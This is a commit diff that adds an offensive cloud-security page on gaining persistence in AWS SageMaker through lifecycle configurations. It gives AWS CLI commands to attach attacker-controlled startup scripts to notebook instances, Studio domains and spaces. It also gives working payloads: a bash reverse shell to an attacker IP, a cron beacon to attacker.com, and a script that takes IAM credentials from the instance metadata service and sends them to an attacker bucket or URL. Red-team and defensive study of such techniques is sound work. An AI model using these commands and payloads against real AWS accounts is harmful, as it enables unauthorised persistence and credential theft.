Skip to content

Commit 78a08b6

Browse files
authored
Create aws-sagemaker-persistence.md
1 parent 5725d6c commit 78a08b6

1 file changed

Lines changed: 132 additions & 0 deletions

File tree

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
2+
### AWS - SageMaker Lifecycle Configuration Persistence
3+
4+
# Required Permissions
5+
* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance
6+
* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain
7+
8+
### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
9+
10+
## Set Lifecycle Configuration on Notebook Instances
11+
12+
### Example AWS CLI Commands:
13+
14+
*# Create Lifecycle Configuration*
15+
aws sagemaker create-notebook-instance-lifecycle-config \
16+
--notebook-instance-lifecycle-config-name attacker-lcc \
17+
--on-start Content=$(base64 -w0 reverse_shell.sh)
18+
19+
*# Attach Lifecycle Configuration to Notebook Instance*
20+
aws sagemaker update-notebook-instance \
21+
--notebook-instance-name victim-instance \
22+
--lifecycle-config-name attacker-lcc
23+
24+
## Set Lifecycle Configuration on SageMaker Studio
25+
26+
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
27+
28+
### Studio Domain Level (All Users)
29+
30+
*# Create Studio Lifecycle Configuration*
31+
aws sagemaker create-studio-lifecycle-config \
32+
--studio-lifecycle-config-name attacker-studio-lcc \
33+
--studio-lifecycle-config-app-type JupyterServer \
34+
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
35+
36+
*# Apply LCC to entire Studio Domain*
37+
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
38+
"JupyterServerAppSettings": {
39+
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
40+
}
41+
}'
42+
43+
### Studio Space Level (Individual or Shared Spaces)
44+
45+
*# Update SageMaker Studio Space to attach LCC*
46+
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
47+
"JupyterServerAppSettings": {
48+
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
49+
}
50+
}'
51+
52+
## Types of Studio Application Lifecycle Configurations
53+
54+
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
55+
* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
56+
* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
57+
* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.
58+
59+
### Example Command for Each Type:
60+
61+
### JupyterServer
62+
63+
aws sagemaker create-studio-lifecycle-config \
64+
--studio-lifecycle-config-name attacker-jupyter-lcc \
65+
--studio-lifecycle-config-app-type JupyterServer \
66+
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
67+
68+
### KernelGateway
69+
70+
aws sagemaker create-studio-lifecycle-config \
71+
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
72+
--studio-lifecycle-config-app-type KernelGateway \
73+
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
74+
75+
### CodeEditor
76+
77+
aws sagemaker create-studio-lifecycle-config \
78+
--studio-lifecycle-config-name attacker-codeeditor-lcc \
79+
--studio-lifecycle-config-app-type CodeEditor \
80+
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
81+
82+
### Critical Info:
83+
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
84+
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
85+
* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.
86+
87+
## Reverse Shell via Lifecycle Configuration
88+
89+
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
90+
91+
### Payload Example:
92+
93+
#!/bin/bash
94+
ATTACKER_IP="<ATTACKER_IP>"
95+
ATTACKER_PORT="<ATTACKER_PORT>"
96+
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
97+
98+
## Cron Job Persistence via Lifecycle Configuration
99+
100+
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
101+
102+
### Payload Example:
103+
104+
#!/bin/bash
105+
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
106+
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
107+
CRON_JOB="*/30 * * * * $CRON_CMD"
108+
109+
mkdir -p /home/ec2-user/SageMaker/.local_tasks
110+
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
111+
chmod +x $PAYLOAD_PATH
112+
113+
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
114+
115+
## Credential Exfiltration via IMDS (v1 & v2)
116+
117+
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
118+
119+
### Payload Example:
120+
121+
#!/bin/bash
122+
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
123+
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
124+
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
125+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
126+
127+
*# Exfiltrate via S3*
128+
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
129+
130+
*# Alternatively, exfiltrate via HTTP POST*
131+
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
132+

0 commit comments

Comments
 (0)